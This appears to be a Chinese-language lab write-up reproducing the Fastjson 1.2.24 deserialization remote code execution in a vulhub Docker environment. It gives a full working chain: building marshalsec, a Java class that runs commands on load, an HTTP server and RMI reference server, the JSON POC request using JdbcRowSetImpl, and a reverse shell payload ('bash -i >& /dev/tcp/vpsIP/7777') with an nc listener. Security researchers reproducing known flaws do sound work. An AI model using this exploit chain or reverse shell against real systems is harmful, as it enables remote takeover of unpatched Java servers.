漏洞分析
https://www.secpulse.com/archives/72391.html
復現參考
https://www.cnblogs.com/hack404/p/11980791.html
https://www.cnblogs.com/tr1ple/p/11431543.html
https://www.cnblogs.com/escape-w/p/11322845.html
環境搭建
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce
搭建完成后訪問 8090端口
接着在自己的vps里開啟rmi或者ldap服務
推薦使用marshalsec快速開啟rmi或ldap服務
地址:
git clone https://github.com/mbechler/marshalsec
下載marshalsec,使用maven編譯jar包
mvn clean package -DskipTests
安裝完成好后,新建文件,復制代碼,命名為TouchFile.java (注:紅體就是要執行的命令,每次換命令,都要重新編譯文件)
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
進行編譯成class文件,會生成TouchFile.class文件
javac TouchFile.java
然后搭起服務,要測試能直連 TouchFile.class ,才會執行文件里的命令
python -m SimpleHTTPServer 4444
開啟rmi或ldap服務 4444是上方服務的端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999
然后上poc
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://vpsIP:9999/TouchFile", "autoCommit":true } }
這邊監聽的就返回連接了
由於是docker搭建的環境,所以要docker里的/tmp 查看 ,而不是當前的/tmp
比如 "touch", "/tmp/success
反彈shell
替換代碼,修改,然后編譯,步驟和上面一樣
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/7777 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
監聽端口
nc -lvnp 7777
成功反彈
總結一下:
1.利用java編譯好執行命令的文件
2.python -m SimpleHTTPServer 4444 構建好服務,才能在poc里能訪問到TouchFile.class執行命令
3.利用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999 搭建好通訊監聽,poc里訪問這個9999端口就和4444端口通訊了,然后執行了TouchFile.class命令